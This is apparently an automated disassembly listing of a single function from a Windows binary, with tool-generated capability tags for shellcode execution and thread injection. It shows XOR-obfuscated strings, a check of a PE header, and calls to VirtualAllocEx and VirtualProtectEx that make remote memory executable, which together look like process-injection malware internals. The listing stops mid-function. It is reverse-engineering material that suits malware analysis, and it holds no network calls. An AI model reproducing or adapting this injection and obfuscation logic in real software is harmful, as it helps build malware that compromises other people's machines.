Function at 0x408940
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45d10d
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x338
mov eax, dword [0x470400]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, edx
mov dword [ebp - 0x15c], eax
mov edi, ecx
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x408a4d
mov dword [ebp - 0x20], 0xdbe217b0
mov dword [ebp - 0x1c], 0xb85882cf
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x20], 0x4436f6a6
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x20], 0x94b045f5
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xcc], ecx
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x80]
mov dword [ebp - 0xc8], eax
lea eax, [ebp - 0x80]
mov dword [ebp - 0xc4], ecx
lea ecx, [ebp - 0x120]
xorps xmm1, xmmword [ebp - 0xd0]
push eax
movaps xmmword [ebp - 0x80], xmm1
call fcn.00402c90
mov dword [ebp - 4], 0
mov edx, 0xc
lea ecx, [ebp - 0x120]
call fcn.00404bc0
lea ecx, [ebp - 0x120]
jmp 0x40d78e
mov esi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [ebp - 0xc0]
mov dword [ebp - 0x20], 0xb4ed6eae
mov dword [ebp - 0x1c], 0xcf3aefd4
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x20], 0xb72a3db
mov dword [ebp - 0x1c], 0x83fcf2c7
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xb4], ecx
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x20], 0x34b7d626
mov dword [ebp - 0x1c], 0xc830d1eb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xac], ecx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x20], 0x618d7358
mov dword [ebp - 0x1c], 0xf5f7516a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x20], 0x94b045f5
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x20], 0x66f29267
mov dword [ebp - 0x1c], 0xf81091cb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x20], 0x618d7320
mov dword [ebp - 0x1c], 0xf5f7516a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0xc0]
xorps xmm1, xmmword [ebp - 0xa0]
movaps xmmword [ebp - 0xc0], xmm1
movaps xmm1, xmmword [ebp - 0xb0]
mov dword [ebp - 0x84], ecx
mov ecx, esi
mov dword [ebp - 0x88], eax
xorps xmm1, xmmword [ebp - 0x90]
movaps xmmword [ebp - 0xb0], xmm1
call fcn.00404c50
mov esi, dword [ebp - 0x15c]
movzx ecx, word [esi]
push ecx
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_short_int_]
push 0x4088d0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [esi + 0x3c]
add eax, esi
mov esi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [ebp - 0x20], 0xb4ed6eae
mov dword [ebp - 0x1c], 0xcf3aefd4
mov dword [ebp - 0xe4], eax
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0x20], 0x1078a3db
mov dword [ebp - 0x1c], 0x87f1e5cb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0xb4], ecx
lea edx, [ebp - 0xc0]
mov dword [ebp - 0x20], 0x35a0d723
mov dword [ebp - 0x1c], 0xc830d1eb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xac], ecx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x20], 0x618d7358
mov dword [ebp - 0x1c], 0xf5f7516a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x20], 0x94b045f5
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x20], 0x66f29267
mov dword [ebp - 0x1c], 0xf81091cb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x20], 0x618d7320
mov dword [ebp - 0x1c], 0xf5f7516a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0xc0]
xorps xmm1, xmmword [ebp - 0xa0]
movaps xmmword [ebp - 0xc0], xmm1
movaps xmm1, xmmword [ebp - 0xb0]
mov dword [ebp - 0x84], ecx
mov ecx, esi
mov dword [ebp - 0x88], eax
xorps xmm1, xmmword [ebp - 0x90]
movaps xmmword [ebp - 0xb0], xmm1
call fcn.00404c50
mov esi, dword [ebp - 0xe4]
mov ecx, eax
push esi
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const__]
push 0x4088d0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov esi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [ebp - 0x20], 0xb4ed6eae
mov dword [ebp - 0x1c], 0xcf3aefd4
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x14c], ecx
mov dword [ebp - 0x20], 0x1078a3db
mov dword [ebp - 0x1c], 0x87f1e5cb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x144], ecx
mov dword [ebp - 0x20], 0x35a0d723
mov dword [ebp - 0x1c], 0x885fafe6
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0x20], 0xfe21a54
mov dword [ebp - 0x1c], 0x90bf3d0b
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x20], 0xab34de68
mov dword [ebp - 0x1c], 0xa7737959
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
lea edx, [ebp - 0x150]
mov dword [ebp - 0x12c], ecx
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x20], 0x10d31dba
mov dword [ebp - 0x1c], 0x57115c0
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x124], ecx
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x20], 0x94b045f5
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov dword [ebp - 0x190], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x18c], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x66f29267
mov dword [ebp - 0x1c], 0xf81091cb
mov dword [ebp - 0x188], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x184], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x618d7320
mov dword [ebp - 0x1c], 0xf5f7516a
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x17c], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0xd951ba09
mov dword [ebp - 0x1c], 0x97533979
mov dword [ebp - 0x178], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x174], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x10d31dc2
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x16c], ecx
mov dword [ebp - 0x1c], 0x57115c0
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x150]
xorps xmm1, xmmword [ebp - 0x190]
movaps xmmword [ebp - 0x150], xmm1
movaps xmm1, xmmword [ebp - 0x140]
xorps xmm1, xmmword [ebp - 0x180]
movaps xmmword [ebp - 0x140], xmm1
movaps xmm1, xmmword [ebp - 0x130]
mov dword [ebp - 0x164], ecx
mov ecx, esi
mov dword [ebp - 0x168], eax
xorps xmm1, xmmword [ebp - 0x170]
movaps xmmword [ebp - 0x130], xmm1
call fcn.00404c50
mov ecx, dword [ebp - 0xe4]
add ecx, 0x18
push ecx
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const__]
push 0x4088d0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov esi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [ebp - 0x20], 0xb4ed6eae
mov dword [ebp - 0x1c], 0xcf3aefd4
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x14c], ecx
mov dword [ebp - 0x20], 0x1078a3db
mov dword [ebp - 0x1c], 0x87f1e5cb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x144], ecx
mov dword [ebp - 0x20], 0x35a0d723
mov dword [ebp - 0x1c], 0x9156afe6
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
lea edx, [ebp - 0x150]
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x20], 0x4c5164c
mov dword [ebp - 0x1c], 0x8792350b
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x20], 0xe971fa29
mov dword [ebp - 0x1c], 0x97533901
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x12c], ecx
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x20], 0x10d31dc2
mov dword [ebp - 0x1c], 0x57115c0
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x124], ecx
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x20], 0x94b045f5
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov dword [ebp - 0x190], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x18c], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x66f29267
mov dword [ebp - 0x1c], 0xf81091cb
mov dword [ebp - 0x188], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x184], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x618d7320
mov dword [ebp - 0x1c], 0xf5f7516a
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x17c], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0xd951ba09
mov dword [ebp - 0x1c], 0x97533979
mov dword [ebp - 0x178], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x174], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x10d31dc2
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x16c], ecx
mov dword [ebp - 0x1c], 0x57115c0
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x150]
xorps xmm1, xmmword [ebp - 0x190]
movaps xmmword [ebp - 0x150], xmm1
movaps xmm1, xmmword [ebp - 0x140]
xorps xmm1, xmmword [ebp - 0x180]
movaps xmmword [ebp - 0x140], xmm1
movaps xmm1, xmmword [ebp - 0x130]
mov dword [ebp - 0x164], ecx
mov ecx, esi
mov dword [ebp - 0x168], eax
xorps xmm1, xmmword [ebp - 0x170]
movaps xmmword [ebp - 0x130], xmm1
call fcn.00404c50
mov esi, dword [ebp - 0xe4]
mov ecx, eax
add esi, 4
push esi
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const__]
push 0x4088d0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, 0x14c
cmp word [esi], ax
je 0x40919b
mov dword [ebp - 0x20], 0xdbe217b0
mov dword [ebp - 0x1c], 0xb85882cf
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x20], 0x4436f6a7
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x20], 0x94b045f5
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xcc], ecx
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x80]
mov dword [ebp - 0xc8], eax
lea eax, [ebp - 0x80]
mov dword [ebp - 0xc4], ecx
lea ecx, [ebp - 0x120]
xorps xmm1, xmmword [ebp - 0xd0]
push eax
movaps xmmword [ebp - 0x80], xmm1
call fcn.00402c90
mov dword [ebp - 4], 1
jmp 0x408a32
mov esi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [ebp - 0x20], 0xb4ed6eae
mov dword [ebp - 0x1c], 0xcf3aefd4
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x14c], ecx
mov dword [ebp - 0x20], 0x1078a3db
mov dword [ebp - 0x1c], 0x87f1e5cb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x144], ecx
mov dword [ebp - 0x20], 0x35a0d723
mov dword [ebp - 0x1c], 0x9156afe6
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0x20], 0x4c5164c
mov dword [ebp - 0x1c], 0x8792350b
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x20], 0xb81c8424
mov dword [ebp - 0x1c], 0xf93a511a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], ecx
mov dword [ebp - 0x20], 0x10d33da7
mov dword [ebp - 0x1c], 0x57115c0
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x124], ecx
mov dword [ebp - 0x20], 0x94b045f5
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov dword [ebp - 0x190], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x18c], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x66f29267
mov dword [ebp - 0x1c], 0xf81091cb
mov dword [ebp - 0x188], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x184], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x618d7320
mov dword [ebp - 0x1c], 0xf5f7516a
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x17c], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0xd951ba09
mov dword [ebp - 0x1c], 0x97533979
mov dword [ebp - 0x178], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x174], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x10d31dc2
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x1c], 0x57115c0
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x16c], ecx
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x150]
xorps xmm1, xmmword [ebp - 0x190]
movaps xmmword [ebp - 0x150], xmm1
movaps xmm1, xmmword [ebp - 0x140]
xorps xmm1, xmmword [ebp - 0x180]
movaps xmmword [ebp - 0x140], xmm1
movaps xmm1, xmmword [ebp - 0x130]
mov dword [ebp - 0x168], eax
mov dword [ebp - 0x164], ecx
xorps xmm1, xmmword [ebp - 0x170]
lea edx, [ebp - 0x150]
movaps xmmword [ebp - 0x130], xmm1
mov ecx, esi
call fcn.00404c50
mov esi, dword [ebp - 0xe4]
movzx ecx, word [esi + 4]
push ecx
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_short_int_]
push 0x4088d0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 4
push 0x3000
push dword [esi + 0x50]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [ebp - 0x20], 0xb4ed6eae
mov dword [ebp - 0x1c], 0xed01cbce
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0xc0], ecx
mov dword [ebp - 0xbc], edx
lea edx, [ebp - 0xc0]
mov dword [ebp - 0x20], 0x297f9ad1
mov dword [ebp - 0x1c], 0xe6d1caf5
mov dword [ebp - 0xf4], eax
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xb4], ecx
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x20], 0x1ec2b227
mov dword [ebp - 0x1c], 0xf81091cb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xac], ecx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x20], 0x618d7320
mov dword [ebp - 0x1c], 0xf5f7516a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x20], 0x94b045f5
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x20], 0x66f29267
mov dword [ebp - 0x1c], 0xf81091cb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x20], 0x618d7320
mov dword [ebp - 0x1c], 0xf5f7516a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0xc0]
xorps xmm1, xmmword [ebp - 0xa0]
movaps xmmword [ebp - 0xc0], xmm1
movaps xmm1, xmmword [ebp - 0xb0]
mov dword [ebp - 0x84], ecx
mov ecx, esi
mov dword [ebp - 0x88], eax
xorps xmm1, xmmword [ebp - 0x90]
movaps xmmword [ebp - 0xb0], xmm1
call fcn.00404c50
mov esi, dword [ebp - 0xe4]
mov ecx, eax
push dword [esi + 0x50]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push 0x4088d0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [ebp - 0xf4]
test eax, eax
jne 0x40973a
mov dword [ebp - 0x20], 0x94b04fdc
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x20], 0x94b045f5
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xcc], ecx
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc4], ecx
movaps xmm1, xmmword [ebp - 0x80]
xorps xmm1, xmmword [ebp - 0xd0]
movaps xmmword [ebp - 0x80], xmm1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea ecx, [ebp - 0x120]
call fcn.004086e0
mov dword [ebp - 4], 2
mov dword [ebp - 0x20], 0xdbe217b0
mov dword [ebp - 0x1c], 0xb95882cf
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xdc], ecx
mov dword [ebp - 0x20], 0x6c16c6ae
mov dword [ebp - 0x1c], 0x83f0e2d7
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0xd4], ecx
mov dword [ebp - 0x20], 0x66f2b25d
mov dword [ebp - 0x1c], 0xf81091cb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xcc], ecx
mov dword [ebp - 0x20], 0x618d7320
mov dword [ebp - 0x1c], 0xf5f7516a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc4], ecx
mov dword [ebp - 0x20], 0x94b045f5
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0x20], 0x66f29267
mov dword [ebp - 0x1c], 0xf81091cb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x20], 0x618d7320
mov dword [ebp - 0x1c], 0xf5f7516a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x84], ecx
movaps xmm1, xmmword [ebp - 0xe0]
lea eax, [ebp - 0x120]
xorps xmm1, xmmword [ebp - 0xa0]
lea edx, [ebp - 0xe0]
movaps xmmword [ebp - 0xe0], xmm1
lea ecx, [ebp - 0x1c0]
movaps xmm1, xmmword [ebp - 0xd0]
xorps xmm1, xmmword [ebp - 0x90]
push eax
movaps xmmword [ebp - 0xd0], xmm1
call fcn.004037d0
add esp, 4
lea ecx, [ebp - 0x80]
mov byte [ebp - 4], 3
push ecx
mov edx, eax
lea ecx, [ebp - 0xb8]
call fcn.00403840
add esp, 4
mov edx, 0xc
mov byte [ebp - 4], 4
mov ecx, eax
call fcn.00404bc0
lea ecx, [ebp - 0xb8]
call fcn.00402c40
lea ecx, [ebp - 0x1c0]
call fcn.00402c40
lea ecx, [ebp - 0x120]
jmp 0x40d78e
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x2c], 0
push ecx
push 0x40
push dword [esi + 0x50]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov esi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [ebp - 0xc0]
mov dword [ebp - 0x20], 0xb4ed6eae
mov dword [ebp - 0x1c], 0xfc14d0cd
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x20], 0x21429ffb
mov dword [ebp - 0x1c], 0xa3d98df0
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xb4], ecx
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x20], 0x1f80fd0a
mov dword [ebp - 0x1c], 0xd864f0eb
mov eax, dword [ebp - 0x20]
